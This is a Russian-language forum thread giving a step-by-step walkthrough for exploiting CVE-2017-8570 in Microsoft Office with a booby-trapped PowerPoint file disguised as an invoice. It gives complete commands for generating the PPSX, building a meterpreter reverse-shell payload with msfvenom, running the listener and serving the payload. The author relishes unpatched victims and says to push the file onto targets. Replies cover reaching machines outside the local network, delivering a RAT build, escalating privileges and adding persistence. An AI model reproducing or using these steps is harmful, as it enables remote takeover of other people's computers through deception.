Уязвимость Microsoft Office CVE-2017-8570

kot-gor

kot-gor

Well-known member
07.09.2016
528
704
BIT
0
Всем привет. Сегодня разберем такую уязвимость как
Ссылка скрыта от гостей
CVE 2017 8570.

Данная уязвимость довольно свежая, позволяет получить доступ к удаленной машине используя специально подготовленный файл PowerPoint, более подробно о ней можете почитать по ссылке:

Ссылка скрыта от гостей
.

Использована она может быть на следующих версиях:
  • Microsoft Office 2007 Service Pack 3
  • Microsoft Office 2010 Service Pack 2 (32-bit editions)
  • Microsoft Office 2010 Service Pack 2 (64-bit editions)
  • Microsoft Office 2013 RT Service Pack 1
  • Microsoft Office 2013 Service Pack 1 (32-bit editions)
  • Microsoft Office 2013 Service Pack 1 (64-bit editions)
  • Microsoft Office 2016 (32-bit edition)
  • Microsoft Office 2016 (64-bit edition)
На данный момент уязвимость устранена в текущих обновлениях, но, как мы знаем, что многие пренебрегают обновлениями, что нам конечно на руку.

И так поехали:

1. Заходим по ссылке https://github.com/tezukanice/Office8570 скачиваем, не забываем читать README.md , там будет рассмотрено три сценария атаки используя данную уязвимость. Мы в данной статье остановимся на первом сценарии.

2m.png


Вкратце:
- генерируем наш вредоносный PPSX файл,
- создаем полезную нагрузку и запускаем слушатель.
- запускаем сервер на 80 порту.​

Давайте непосредственно приступим к делу.

Создаем в директории «Office8570» новую папку и назовем ее «template», далее переносим файл template.ppsx в эту папку. Если этого не сделать то при генерировании PPSX файла выскочит ошибка.

3.png


1.Сейчас генерируем наш PPSX файл, пишем в терминале в одну строчку следующее:
Код: 
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.0.104/logo.doc
Не забываем вместо моего ip ставить свой, если кто не знает как узнать свой ip, делается это командой ifconfig. У вас должен появится файл Invoice.ppsx.

рис4 .png


2. Создаем полезную нагрузку,где будет создан файл shell.exe в каталоге tmp, в моем случае это будет выглядеть следующим образом:
Код: 
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4444 -f exe > /tmp/shell.exe
Для создания полезной нагрузки можем использовать любой другой инструмент, не обязательно использовать msfvenom, главное перенести полезную нагрузку потом в каталог tmp.

Запускаем слушатель:
Код: 
msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.0.104; set LPORT 4444; run"
3.Далее в терминале пишем следующую строчку
Код: 
python cve-2017-8570_toolkit.py -M exp -e http://192.168.0.104/shell.exe -l /tmp/shell.exe
по итогу, у нас запустится сервер на 80 порту.

Далее нам осталось впарить файл Invoice.ppsx , и как только его откроют ,с сервера погрузится наша полезная нагрузка.

Всем хорошего вечера и удачного пентеста!!!
 
Последнее редактирование:
  • Нравится
Реакции: id2746, DarkAres, Valkiria и ещё 13
IioS сказал(а):
А что будет если не кидать в /tmp/shell.exe, а запустить его из ../Office8570/ ?
Нажмите, чтобы раскрыть...
Может я и ошибаюсь, но:
kot-gor сказал(а):
Для создания полезной нагрузки можем использовать любой другой инструмент, не обязательно использовать msfvenom, главное перенести полезную нагрузку потом в каталог tmp.
Нажмите, чтобы раскрыть...
 
Потому что утилита , настроена так, что бы подгружать полезную нагрузку с директории tmp.
автор это указал в одном из примеров.
В самом коде утилиты я не разбирался.По идее думаю что можно настроить на любую директорию.
 
  • Нравится
Реакции: IioS
Лучше спроси у ТС. Я честно скажу, что не "щупал" (не пробовал).
Но навскидку скажу, что этого требует сам эксплойт.
https://github.com/tezukanice/Office8570/blob/master/cve-2017-8570_toolkit.py
[doublepost=1503513879,1503513817][/doublepost]
kot-gor сказал(а):
По идее думаю что можно настроить на любую директорию
Нажмите, чтобы раскрыть...
Безусловно. Включи поиск по тексту на "TMP".
 
Ради любопытства глянул, код на питоне простой , директорию можно легко поменять...
 
Я писал не глядя, а потом посмотрел, чтобы убедиться - в точку! :)
 
круто конечно, только касперский сразу удалил Invoice.ppsx)
Exploit:MSOffice.Generic

С одной стороны радует, а с другой нет))
 
Ду уж:oops:,парни наверное не сидят без дела.хотя уязвимости чуть более месяца.
 
А если я укажу ip по типу 192.168. , то допустим если я скину на другой PC будет работать?
 
Последнее редактирование:
Здравствуйте, помогите пожалуйста, в msfconsole пишет "Started reverse TCP handler on 192.168.0.100:4444" а дальше ничего нет..хотя должно писать, что handler запустился, в чем может быть проблема ? Msf переустанавливал(v 4.16.24-dev)
Снимок экрана от 2017-12-25 15-32-27.png

Порты пробросил
Снимок экрана от 2017-12-25 15-43-37.png
[doublepost=1514240438,1514205656][/doublepost]Ни у кого не было этой ошибки ?
 
Может кто-нибудь объяснить как организовать удаленный доступ к компьютеру, не находящемуся в локальной сети?
 
всё тоже самое, только прописывает не локальный адрес в полезной нагрузке, а внешний( белый статический), если через роутер то прокидываете порты, или используйте впс..
 
kot-gor сказал(а):
всё тоже самое, только прописывает не локальный адрес в полезной нагрузке, а внешний( белый статический), если через роутер то прокидываете порты, или используйте впс..
Нажмите, чтобы раскрыть...

Подскажи пожалуйста. Вот я искал на многих форумах, и наконец забрел до вас. Сделать со слушателем это все конечно хорошо. Но я, вместо загрузчика хочу сделать чтобы качался билд от моего ратника. Допустим для примера, вместо билда, я взял программу putty(portable) и после запуска ppsx, она должна загрузится и запустится, что сразу даст знать о том, что все работает.. Прямая ссылка
Ссылка скрыта от гостей


Так как слушатель тут не нужен, то тут будут только две команды я так понимаю, подскажи как правильно будет прописать их, чтобы сгенерировать ppsx, и после запуска - качался и запускался мой putty.exe по указанной ссылке.

Потому что я уже много инфы перечитал, пробовал по разному, но при запуске ppsx, то ли файл не качается, то ли не запускается, потому что ничего не выскакивает (а должно).
 
ВСё то же самое..просто переносите свой билд в каталог tmp.но вам потом еще нужно будет поднимать права и прописывать в автозагрузку.
 
Последнее редактирование:
Для ответа нужно войти/зарегистрироваться
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Верх Низ